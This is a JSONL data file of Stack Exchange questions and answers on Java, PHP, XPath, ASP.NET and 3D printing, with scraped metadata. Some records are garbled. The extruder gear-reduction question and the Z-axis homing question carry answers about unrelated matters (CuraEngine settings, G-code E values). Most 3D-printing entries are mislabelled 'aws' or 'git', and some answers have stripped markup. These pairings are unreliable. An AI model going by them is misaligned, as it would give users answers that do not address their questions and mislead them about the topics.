{"id": "hf_1d67f7fc02c7", "question": "<p>I have a daily batch process that involves selecting out a large number of records and formatting up a file to send to an external system.  I also need to mark these records as sent so they are not transmitted again tomorrow.</p>\n\n<p>In my naive JDBC way, I would prepare and execute a statement and then begin to loop through the recordset.  As I only go forwards through the recordset there is no need for my application server to hold the whole result set in memory at one time.  Groups of records can be feed across from the database server.</p>\n\n<p>Now, lets say I'm using hibernate.  Won't I endup with a bunch of objects representing the whole result set in memory at once?</p>\n", "question_body": "", "answer": "Hibernate does also iterate over the result set so only one row is kept in memory. This is the default. If it to load greedily, you must tell it so.\nReasons to use Hibernate:\n\"Someone\" was \"creative\" with the column names (PRXFC0315.XXFZZCC12)\nThe DB design is still in flux and/or you want one place where column names are mapped to Java.\nYou're using Hibernate anyway\nYou have complex queries and you're not fluent in SQL\nReasons\nnot\nto use Hibernate:\nThe rest of your app is pure JDBC\nYou don't need any of the power of Hibernate\nYou have complex queries and you're fluent in SQL\nYou need a specific feature of your DB to make the SQL perform", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.440119"}
{"id": "hf_611e85c048ef", "question": "<p>I'm new to this JSF world, please bear with me if I'm asking some silly thing</p>\n\n<p>i'm using UI tags for my application and I have a scenario that I need to generate a calendar control to make the user to select the date I followed the ui tags documentation and wrote the code like this:</p>\n\n<pre><code>  &lt;table width=\"100%\"&gt;\n    &lt;tr&gt;\n    &lt;td&gt;\n           &lt;ui:calendar binding=\"#{booking.calDate}\"\n           id=\"calDate\"\n          dateFormatPattern=\"dd/MM/yyyy\" \n          label=\"Date ::\"/&gt;\n          &lt;/td&gt;\n          &lt;/tr&gt;\n     &lt;/table&gt;\n</code></pre>\n\n<p>and my backing bean contains</p>\n\n<pre><code>  private Calendar calDate = new Calendar();  \n</code></pre>\n\n<p>with appropriate getters and setters</p>\n\n<p>when I tried to load the page I'm getting the calendar component disorted.\nI'm getting cross marks and nonsense things with some javascript errors.</p>\n\n<p>please help me in resolving this issue</p>\n\n<p>Thanks in anticipation</p>\n", "question_body": "", "answer": "The component  is coming from which JSF library?\nIn others words, what do you have at the beginning of your XHTML file?\nThe only  library I know is coming from\nFacelets\n, and it does not provide any  component!\nIn addition, if calDate is a **java.util.**Calendar class, then you cannot bind this class to a JSF component!\nMaybe you can have a look to\nTomahawk\n, or\nRichfaces\n, that provide good calendar component...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.475244"}
{"id": "hf_69ecc2eec310", "question": "<p>Is there a widely accepted class for dealing with URLs in PHP?</p>\n\n<p>Things like: getting/changing parts of an existing URL (e.g. path, scheme, etc), resolving relative paths from a base URL.  Kind of like a two-way <a href=\"http://php.net/parse_url\" rel=\"nofollow noreferrer\">parse_url()</a>, encapsulated with a bunch of handy functions.</p>\n\n<p>Does something like this exist?</p>\n", "question_body": "", "answer": "This\nURL.php class\nmay be a good start (not sure it is 'widely' accepted though).\nURL class intended for http and https schemes\nThis class allows you store absolute or relative URLs and access it's various parts (scheme, host, port, part, query, fragment).\nIt will also accept and attempt to resolve a relative URL against an absolute URL already stored.\nNote: this URL class is based on the HTTP scheme.\nExample:\n```\n```\n$url =& new URL('http://www.domain.com/path/file.php?query=blah');\necho $url->get_scheme(),\"\\n\";    // http\necho $url->get_host(),\"\\n\";      // www.domain.com\necho $url->get_path(),\"\\n\";      // /path/file.php\necho $url->get_query(),\"\\n\";     // query=blah\n// Setting a relative URL against our existing URL\n$url->set_relative('../great.php');\necho $url->as_string(); // http://www.domain.com/great.php\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.501550"}
{"id": "hf_d96966c6b8eb", "question": "<p>What is the XPath expression that I would use to get the string following 'HarryPotter:' for each book.</p>\n\n<p>ie. Given this XML:</p>\n\n<pre><code>&lt;bookstore&gt;\n&lt;book&gt;\n  HarryPotter:Chamber of Secrets \n&lt;/book&gt;\n&lt;book&gt;\n  HarryPotter:Prisoners in Azkabahn \n&lt;/book&gt;\n&lt;/bookstore&gt;\n</code></pre>\n\n<p>I would get back:</p>\n\n<pre><code>Chamber of Secrets\nPrisoners in Azkabahn \n</code></pre>\n\n<p>I have tried something like this:</p>\n\n<pre><code>/bookstore/book/text()[substring-after(. , 'HarryPotter:')] \n</code></pre>\n\n<p>I think my syntax is incorrect...</p>\n", "question_body": "", "answer": "In your XML you've got no space between Harry Potter but in your XQuery you've got a space.  Just make it match and presto, you'll get data back...\n```\n```\nDim xml = <bookstore>\n                  <book>HarryPotter:Chamber of Secrets</book>\n                  <book>HarryPotter:Prisoners in Azkabahn</book>\n                  <book>MyDummyBook:Dummy Title</book>\n              </bookstore>\n\n    Dim xdoc As New Xml.XmlDocument\n    xdoc.LoadXml(xml.ToString)\n\n    Dim Nodes = xdoc.SelectNodes(\"/bookstore/book/text()[substring-after(., 'HarryPotter:')]\")\n\n    Dim Iter = Nodes.GetEnumerator()\n    While Iter.MoveNext\n        With DirectCast(Iter.Current, Xml.XmlNode).Value\n            Console.WriteLine(.Substring(.IndexOf(\":\") + 1))\n        End With\n    End While\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.546838"}
{"id": "hf_506f2fa4b507", "question": "<p>We have a PageRoles xml file which contains the page path and the user role that can access that page.</p>\n\n<p>We are maintaining a Dictionary in a static class, which gets loaded int static constructor for the class.\nThe class has a method CheckIfRoleAllowed that takes in a page path and returns a bool.</p>\n\n<p>Each page call the CheckIfRoleAllowed on Page Init.</p>\n\n<pre><code>static class PageAccessChecker\n{\n static Dictionary&lt;string, UserRoleType[]&gt; _PageAccessPermissions;\n static FileSystemWatcher _XmlWatcher;\n\n static PageAccessChecker()\n {\n   // Load page access permissions from xml\n   // Set FileSystemWatcher watcher to watch for changes\n }\n\n public static CheckIfRoleAllowed(string pagePath)\n {\n }\n\n}\n</code></pre>\n\n<p>Would we be better off doing this using the singleton pattern?\nIf yes, why?</p>\n\n<p>Kind regards.</p>\n", "question_body": "", "answer": "You do use a singleton. Simply, there are 2 usual implementations for singletons, the other being instantiating the class and having a static member referencing this instance.\nYour implementation makes calls simpler IMO :\n```\n```\nPageAccessChecker.CheckIfRoleAllowed(path);\n```\n```\ninstead of:\n```\n```\nPageAccessChecker._default.CheckIfRoleAllowed(path);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.567836"}
{"id": "hf_fac67ea281e8", "question": "<p>I read <a href=\"https://stackoverflow.com/questions/218123/what-was-the-strangest-coding-standard-rule-that-you-were-forced-to-follow#220591\">this answer</a> and its comments and I'm curious: Are there any reasons for not using <code>this</code> / <code>Self</code> / <code>Me</code> ?</p>\n\n<p>BTW: I'm sorry if this has been asked before, it seems that it is impossible to search for the word <code>this</code> on SO.</p>\n", "question_body": "", "answer": "It was asked before indeed, in the \"variable in java\" context:\nDo you prefix your instance variable with ‘this’ in java ?\nThe main recurrent reason seems to be:\n\"it increases the visual noise you need to sift through to find the meaning of the code.\"\nReadability, in other word... which I do not buy, I find\n```\nthis.\n```\nvery useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.677475"}
{"id": "hf_00f71f62bbb2", "question": "<p>My Java application is saving stuff in 'user.home' but on windows this does not seem to be the correct path to save application information (as a friend told me). An other option is using the preferences api but it's not possible to set up the hsqldb location using the preferences api. Also, I want all files to be available in the same folder (local database, config, cache, ...).</p>\n\n<p>I'm looking for some example code or a framework that takes care of os-specific stuff.</p>\n", "question_body": "", "answer": "It's unusual for a window app to save data in user.home but not \"wrong\". Windows applications love to spread their data all over the place (a bit in the registry, a bit in the application's install directory, a bit in the Windows directory, a bit in System32, a bit here and a bit there). In the end, this makes it impossible to cleanly backup or remove something which results in the famous \"Windows rot\" (i.e. you have to reinstall every few months).\nAnyway. If you really don't want to use user.home (and I see no reason not to), use code like\nthis from Apache commons-lang\nto figure out if you're running on Windows. If this yields true, pop up a directory selection dialog where the user can specify where they want to save their data.\nSave this information in Preferences and use this path the next time when your app is started. This way, users can specify where they want their data and you only have to leave one bit of information in the prefs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.725923"}
{"id": "hf_c6c17f31779a", "question": "<p>I'm using caml query to select all documents which were modified or added by user. Query runs recursively on all subsites of specified site collection.</p>\n\n<p>Now problem is I can't get rid of folders which are also part of result set. For now I'm filtering them from result datatable. But I'm wondering: Is it possible to filter out folders from result set just by using caml?</p>\n", "question_body": "", "answer": "So, i figured it out :)\nYou can use FieldRef='ContentType' in your caml query and specify typr of content type which you want to select or exclude from select.\nSo in my case I've added this condition to my caml expression:\n```\n<Neq><FieldRef Name='ContentType' /><Value Type='Text'>Folder</Value></Neq>\n```\nNOTE:\nThere are problems in multi language setup. Name of content type can be different, so it is good to get names of content types from resources\nUPDATE:\nIt looks like I was too quick in my assumptions. I need to filter out all contett types based on folder content type, because in our projects such content types are used :(\nI was not able to create workable query in caml, so I added view field element to my query which selects ContentTypeId of list item and I filter-out rows which are based on folder content type.\nCode to do this is trivial, but it bothers me that such simple task cannot be done by pure caml.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.748710"}
{"id": "hf_fdb0456fbb24", "question": "<p>Let's say I have a search page called Search.aspx that takes a search string as a url parameter ala Google (e.g. Search.aspx?q=This+is+my+search+string).</p>\n\n<p>Currently, I have an asp:TextBox and an asp:Button on my page.  I'm handling the button's OnClick event and redirecting in the codebehind file to Search.aspx?q=\n\n<p>What about with ASP.NET MVC when you don't have a codebehind to redirect with?  Would you create a GET form element instead that would post to Search.aspx?  Or would you handle the redirect in some other manner (e.g. jQuery event attached to the button)?</p>\n", "question_body": "", "answer": "You need to understand that MVC doesn't directly reference .aspx pages like WebForms in its URLs. Its main purpose is to separate concerns, that is model (data), controller (logic), and view (presentation).\nFirst, you'd have to create a route matching your URLs, which would now look like this for example : /home/search/This+is+my+search+string\nThis would call the Search action method of the Home controller, which would get \"This is my search string\" as an input parameter. This action is responsible for accessing the model and pulling the results probably from a database.\nTypically, your search action would then return a ViewResult containing the view placed in the folder /Views/Home/Search.aspx. Here, you can use neither the Postback functionality nor the events of your Web controls like in WebForms, because MVC applications are stateless and not event-driven. It's more like a request/dispatch way of doing things.\nRead more about MVC here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.783669"}
{"id": "hf_3fe9cb4b7083", "question": "<p>What are the specifications of the three wires inside a PC cable that is used to connect the switching power supply to a US AC outlet.</p>\n\n<p>The positive, negative and ground appear to be the same gauge stranded cable, and I've heard that it can handle 10A, but beyond that I don't really know what the rest of the specifications for the wire are.</p>\n", "question_body": "", "answer": "Very\nbasically speaking, electricity works like this:\nThere's some source that delivers a certain\nvoltage\n.\nYou have a device that operates at a certain voltage.\nThe device voltage and supply voltage should always match.\nNo, don't put that 120V US device in a 230V outlet in Europe.\nThe device does something. By doing something it draws\ncurrent\n. Most devices also draw some current when not doing anything.\nHow much power your device draws is the product of these two values:\n```\nvoltage x current = power\n```\nSo far, so good. In your case:\nUS AC outlet.\nthe\nvoltage is 120V\n.\nOn\nthis other question of yours\nyou linked to\nthis power\nsupply on amazon\n. Besides being available gift-wrapped, it\nstates the following feature:\nYou can choose the input voltage (110V/240V) by switch.\n110V ≈ 120V, which means the\ndevice voltage matches your supply\nvoltage\n.\nThe supply can deliver 30A at 12V on the DC side which means 360W.\nIf it could transform the electricity ideally, without any\ninefficiency, that would be\n3A\nat 120V on the AC side. But your\nsupply is unlikely ideal.\nWikipedia suggests 60-95% efficiency\n.\nLet's be super pessimistic and assume 50%. That means half the power\nthat goes into the switch power supply is turned into heat. In order\nto still get the 360W out, you have to insert 720W. That means\nyour device draws 6A\non the AC side.\nWhat does this all mean for your wire?\nWhat wire size do you need for this supply?\nCoincidentally, the above link to the amazon website showing your power supply also suggests the following PC ATX power supplies to me:\nSentey Power Supply 725 Watt\nSentey Power Supply 1000 Watt\nLet's get this straight: You can buy a power supply for a PC and plug it into your outlet without even thinking about what a wire size is. You'd just plug and play.\nThat PC power supply will potentially draw more current\nthan\nthe power supply of your 3D printer\n. A standard wire would be able to supply either one of the PC ATX power supplies linked above and would not have a problem delivering a lower current to the power supply of your 3D printer.\nThe switching supply doesn't have a plug like a PC ATX supply, but that on its own doesn't make it any less secure (if wired up properly). It's just less common for household appliances.\nUltimately, I'd like to avoid a fire, or damage to the house wiring.\nThat's a good and valid concern.\nPC Power supplies deliver 12V and supply more than enough current (like the examples above). They are probably in use in your house already and did neither set it on fire nor damage the house wiring.\nA switching mode power supply is just as secure and if bought from a known brand unlikely to do you any harm either if used properly and within its specifications.\nUltimately\n, this is not a question of secure electricity but a trade-off between secure electricity and the price to pay for it. The standard wire and it's specifications have little to do with this.\nPersonally, I also use a cheap switching power supply made in china for my printer. It's very noisy and I pull the plug when I leave it unattended.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:14:59.465624"}
{"id": "hf_39b2449bdd1b", "question": "<p>What is the proper way to give printer settings to CuraEngine? Is it possible to put all these settings into a file (like Json formatted)?</p>\n\n<pre><code>CuraEngine.exe -v -o \"c:\\3d\\test.gcode\" \"c:\\3d\\test.stl\"\n</code></pre>\n", "question_body": "", "answer": "I'm not sure if it's possible, but on github is code for setting CuraEngine up. Maybe you'll find this link,\nCuraEngine/src/settings/settings.cpp\nhelpful.\nThe latest release has more speed customization. You can change first layer speed, outer shell speed, inner shell speed, infill speed, and top and bottom speed.\nYou can cut objects, its just a little wonky. In the advanced tab there is a \"cut off object at Z height\" that you can use to cut objects in half.\nTheoretically, you can put all settings into a JSON formatted file.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:03.453153"}
{"id": "hf_6fbd4985cb84", "question": "<p>Most 3&nbsp;mm (mostly are actually 2.85&nbsp;mm) filament extruders have some kind of gear reduction. Many 1.75&nbsp;mm extruders are direct-drive / ungeared but some do use gears. What kind of reduction ratios are suitable or optimal?</p>\n", "question_body": "", "answer": "I'm not sure if it's possible, but on github is code for setting CuraEngine up. Maybe you'll find this link,\nCuraEngine/src/settings/settings.cpp\nhelpful.\nThe latest release has more speed customization. You can change first layer speed, outer shell speed, inner shell speed, infill speed, and top and bottom speed.\nYou can cut objects, its just a little wonky. In the advanced tab there is a \"cut off object at Z height\" that you can use to cut objects in half.\nTheoretically, you can put all settings into a JSON formatted file.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:03.593979"}
{"id": "hf_e6877fd0dbdf", "question": "<p>I have adjusted my z axis end stop via the paper test. However when I press to home all the axis the z axis hits the print bed moves it down slightly then goes to the postion I describe. Is this how its supose to be if not what do I need to do?</p>\n", "question_body": "", "answer": "According to the RepRap.org\nlist of G-Code commands\n, see\nG0 & G1: Move\n:\nThe\n```\nEnnn\n```\ncommand is\nThe amount to extrude between the starting point and ending point\n.\nHowever, according to\nthis\na discussion, that is now deleted from GitHub, about the Cura slicing engine:\nThe\nE\nvalues are in\nabsolute mode\n, so perhaps the firmware is attempting to move the stepper motor to the absolute position (which is almost 50% through your print). This may lead to clogging or skipping depending on how hot your extruder is at that point.\nAs a last resort, you can perform a Boolean subtract on your model of the section that's already printed and re-slice the model to print the remaining bit. Then glue, or ABS weld, the remaining piece to the main print. I've done this in the past, it's not super glamorous, but it gets the job done if the part doesn't require a lot of structural integrity.\nI was incorrect with the following statements with regard to the Cura slicing engine:\nIt's been a while since I've looked at 3D printer G-Code, but from what I remember,\nE\nvalues can be the bane of any manually written G-Code. Usually the slicing engine generates the\nE\nvalue as an incremental step value throughout the G-Code (at least this was true for Skeinforge and early MakerWare, please verify this). So, if the value is incremental and depending on the controller, this value could be lost or corrupt if a new print is initialized.\nI would hope, that if you're using a slicing engine's\ncustom G-Code\ninput, that the software would be able to compensate situations like this and reformat your provided G-Code to match the value of\nE\nor any similar command.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:03.733106"}
{"id": "hf_cc659f51f07e", "question": "<p>Some have suggested that filament costs are asymptotically approaching a baseline cost - others that costs are linearly decreasing. Does anyone know where to find the trending costs on a single class of filament over the past decade or more?</p>\n\n<p>Part of the reason we are asking is to get enough longitudinal data to begin projecting costs for printing objects in the future. You might think of it like the \"Moore's Law\" of filament costs.</p>\n", "question_body": "", "answer": "You could have a look though the various price trackers for Amazon (like\nccc\nand\nthetractor\n), for some basic trends. Most of them does not seem to have sufficient data to give any valuable insight, but that could change.\nIn general, I would refer to the yearly and monthly\ntrend reports found on 3D Hubs\n. They usually include the average filament order costs per filament type from the previous 30 days, although they do not display it as a continuous graph at this time.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:03.926503"}
{"id": "hf_32cc4706e487", "question": "<p>I'm looking for a 3D printer for applications in the dental field, for printing digital dental models (not for itra-oral use parts).</p>\n\n<p>Resolution and finish are the main requirements that we consider necessary.</p>\n\n<p>Any suggestion?</p>\n", "question_body": "", "answer": "If resolution is your upmost concern then resin 3d printers are the way to go. They use a liquid resin that does not harden until a UV laser is shined through them. Apparently they get ultra high resolution and smooth finishes right out of the box. The downside is they are generally more expensive machines and the resin material itself is also a higher cost. but if you are in the dental field then money is not a problem. Look into resin 3d printers.\notherwise if you want to try FDM printers then try looking into .1mm brass nozzles which will increase resolution but vastly increase print time. Not sure what material would be best. ABS has toxic smelling fumes, but is the same as LEGOS and is able to be easily smoothed (if necessary) with Acetone fumes. PLA might work well at .1mm nozzle resolution though and is a starch/dextrin based non-toxic biodegradable filament.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:04.163955"}
{"id": "hf_ba5c7a4b6eba", "question": "<p>I'm struggling with my new printer, and I just want to make sure that I have the basic configured correctly. </p>\n\n<p>What motherboard ID in <a href=\"https://github.com/MarlinFirmware/Marlin/blob/1.1.x/Marlin/Configuration.h\" rel=\"nofollow noreferrer\"><code>configuration.h</code></a> is appropriate for MKS BASE V1.5 in Marlin Firmware?</p>\n", "question_body": "", "answer": "Marlin appears to support older versions of the board (and possibly this one) according to this line\n```\n```\n#define BOARD_MKS_13            47   // MKS v1.3 or 1.4 (maybe higher)\n```\n```\nin\n```\nboards.h\n```\nwhich can be found\nhere\n.\nThe company also has a\nguide\nand looks to provide pre-configured (but not fully configured?) downloads of Marlin.  They have different links for different displays but then ask you to change lines manually but don't mention changing the board so I have no idea what they are doing or what is different between the downloads.\nIt appears either way you go (Marlin from Github or from Osoyoo) you will need to change some lines to get each axis to behave correctly.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:04.420471"}
{"id": "hf_c980ff2fcd60", "question": "<p>I have just finished building a Tronxy P802M Prusa i3.</p>\n\n<p>When I try to move the Z-axis, using the hardware buttons in the LCD menu (without a computer connected), it only goes down, when I both increase, and decrease, the value of Z.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "It could be a hardware fault.\nFirst check, and compare, the control board connections to the motors of the three axes. You don't state it in your question but, presumably, the X and Y axes move correctly? If so, then compare the connections for the Z-axis motors with the connections for the motors of the axes that work as expected.\nIf they are correct then the problem is likely to be with the firmware.\nHave you...\nhomed the Z-axis yet?\ninstalled the endstops?\nFrom\nX Y Z axis only move one direction?\n:\nUsing Marlin? Before you do a\n```\nG28\n```\nhoming the axes will only move\n  towards the endstops. But also check your endstops with\n```\nM119\n```\nto make\n  sure they are triggered at the right time. On older Marlin, you may\n  need to set\n```\nDISABLE_MAX_ENDSTOPS\n```\n(on a machine that has no max\n  endstops). Newer Marlin uses\n```\nUSE_XMIN_PLUG\n```\n, etc., to specifically\n  set which endstops are connected. If the switches show the opposite\n  state (off when triggered) then set the\n```\n[XYZ]_(MIN|MAX)_ENDSTOP_INVERTING\n```\nflags, as needed.\nLikewise, from\nBuilding a Prusa I3 3D Printer\n:\nYou will probably also find the motor will turn only in one direction. This is normal for now as we don't have end-stops installed and haven't homed the axis - so the software doesn't know how far it can go in one direction or the other.\nAs Mark states in his\ncomment\n, the P802M uses a Melzi board. From\nGithub: Repetier-Firmware/boards/Zonestar P802M/\n:\nThere are some printers sold under different names like 'Zonestar\n  P802M', 'Prusa i3 P802M DIY kit', 'Anet A8-B', etc, which have LCD\n  20x4 with 5 keys controller connected to Melzi V2.0 board via 10 wires\n  cable. Keys are connected to a single analog input using resistive\n  divider.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:04.607667"}
{"id": "hf_a3103d798595", "question": "<p>I have just received a 3D printer for Christmas (Robo R2).  I am confused by the sheer amount of settings that I can tweak and I'm hesitant to do so until I know more about them.  I was wondering if anybody has any recommendations for literature on:</p>\n\n<ul>\n<li>3D printing in general (geared towards beginners);</li>\n<li>Designing parts specifically.</li>\n</ul>\n\n<p>Books are preferred but websites are acceptable as well.</p>\n", "question_body": "", "answer": "Welcome to the fantastic, sometimes frustrating but most often glorious world of 3D printing David! :)\nYour question is really very very broad, but here's my contribution to make your first steps a success.  First of all: I don't have experience with the Robo R2, but judging from the specs available online, I would say that you got a machine that take care of most of the troubles beginners encounter when starting out (e.g.: levelling the bed) and has a few features that allow you to print more reliably/with better quality (heated bed, enclosure, possibility for a second extruder).\nGive a hug to whoever made the gift to you! ;)\nI like to think to 3D printing as a process that involves 4 phases (well, normally several iteration of them as\nprototyping\nis a thing):\nDesigning (creating the mesh, i.e. the shape of the object you want to print)\nSlicing (creating GCODE, i.e. the file with the step-by-step instructions for moving your printer nozzle in space, extruding the plastic, controlling temperatures and cooling, etc...)\nPrinting (the actual process of having your printer running that GCODE)\nPost-processing (finishing the piece, by for example removing support material, sanding, vapor-smoothing the surface, painting, etc...)\nTechnology in the 3D printing world is moving so fast that printed information tends to get outdated quickly, and the Internet is often the best source of information.  So in the following bits I will mention the the source of information that I use[d] for myself, of which many are online rather than in print.\nDESIGN\nBroadly speaking, there are two kind of designs one can do:\ndecorative\nor\nfunctional\n.  Decorative designs are those in which the final object will essentially sit still on a shelf or be handled very gently (e.g.: a model of the Tour Eiffel, a miniature for RPG gaming), functional designs are those in which the final part will have to bear a load or perform some sort of mechanical work (e.g.: a drone, a shelf bracket, a pipe adapter...).\nBoth designs need to take into consideration the physical limitations of FDM printers such as the fact that the nozzle is round and with a fixed diameter, or the fact that molten plastic needs to rest onto something, thus the need for support.\nAdditionally, functional design requires an understanding of the physical properties of 3D MFD printed parts (hint: they are anisotropic, so their properties differs along their axis).  If you are interested in functional designing a book that I can highly recommend is\nFunctional Design for 3D Printing by Cliff Smyth\n.  It is concise, accessible and full of information you'll be using from your very first design.\nIn terms of tools, for decorative, organic forms, you will probably want to use a program like\nBlender\n, that manipulate meshes directly, while for functional designs will probably turn to CAD software, like for examaple\nFreeCAD\nthat operate on a \"model\" and let you export the finished part as a mesh at the very end.\nBoth Blender and FreeCAD are free software (like in: \"free speech\") but commercial versions do exist as well (most notably from Autodesk).\nBlender is professional grade software with a very steep learning curve and I would suggest to take an structured online course like\nthis one\nabout it, rather than trying to learn it the DIY way.\nFreeCAD belongs to a category of CAD programmes that operate on a well defined, well understood, set of principles (so it works similarly to OnShape and Fusion360 for example) and it is much easier to learn.  In my experience CAD modelling is best learnt by understanding the very basic, and then just researching further information as you go, according to the needs of your project as CAD design is full of small specific operations that is useful to know only if you actually need them (e.g.: how to draw a screw thread, or to perform a loft).  I started out with\nthis series of video tutorials\nby the late Roland Frank (a celebrated contributor to the FreeCAD community), but there are tons of other tutorial should you choose to go with a commercial product.\nSLICING\nSlicing is as much an art as it is science.  While the actual work of generating the GCODE is automated and requires just the click of a button, there are a myriad of settings that are mutually interdependent in their effect.  For example: filament temperature, movement speed, cooling fan, retraction and coasting all affect oozing, but each of them also affect other things (bridging, layer adhesion, curling, nominal overextrusion, etc...).\nAlso: settings differs for each filament material, each brand, and sometimes even different spools from the same material/brand.  Moreover, you may wish to tune them depending to what you are printing (maybe you are printing a finely detailed miniature and want to go slower to reduce vibration, or maybe you are printing a torsion bar and want to increase the temperature for increasing layer adhesion, for example...).\nIMO the best way to understand how settings affect your print is playing around with calibration towers (\nexample\n) and torture tests (\nexample\n).\nCalibration towers work by printing the same thing on top of each other but changing at each repetition a specific setting (like filament temperature, or extrusion multiplier).  You will then visually inspect the final piece and evaluate how the print quality changed relative to that parameter.\nTorture tests work by putting in the same piece a number of features that are hard for the printer to print correctly (thin walls, bridges, overhangs, to name a few).\nA specific model that is sort of gold standard as a basic test is the\n3D benchy\n.  The good thing about it is that it comes with a full website that also tell you how you can evaluate the print.  However, the benchy - differently than torture tests - is not designed to let you discover the limits of your printer, it is more of a quality-control test.  If you can print a 3D benchy, you should be good to go for printing \"regular\" objects.\nAlso, at least in the two most common free-as-in-freedom slicers (\nCura\nand\nslic3r Prusa Edition\n) each setting comes with some explanatory text while hovering on it, that helps a lot understanding what that setting does).\nPRINTING\nHow much you can affect the actual printing process depends from how \"open source\" is your printer, and if it uses standard components or not.  Consumer-grade printers get often upgraded/modded to improve print quality or tweak them for a specific job/material.  Typical upgrades are extruder upgrades, stepper motor upgrades, vibration dampeners, different sensors, etc...\nEach printer is unique, but normally you can find abundant information wherever the community of owners of a specific model gathers.\nI would also advise to subscribe to some good youtube channel about 3D printing like\nTom's\nor\nMakers Muse\nor\nJoel's\n, and to visit sites like\nAll3dp\nregularly.  As I mentioned, 3D printing tech changes constantly, and it is good to keep tabs on new materials, new software, new components, etc...\nPOST-PROCESSING\nThis is entirely dependent from the material you used for the print, its size, and its intended use, but I wanted to mention this nonetheless as there are amazing things you can do with\nacetone on ABS\n, lot of\nelbow grease on PLA\nor the\nuse of an airbrush\n...  so you know 3D printing does not end with the print! ;)\nHope this helps you at least a bit.  Again: welcome to the the 3D printing world! :)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:04.862633"}
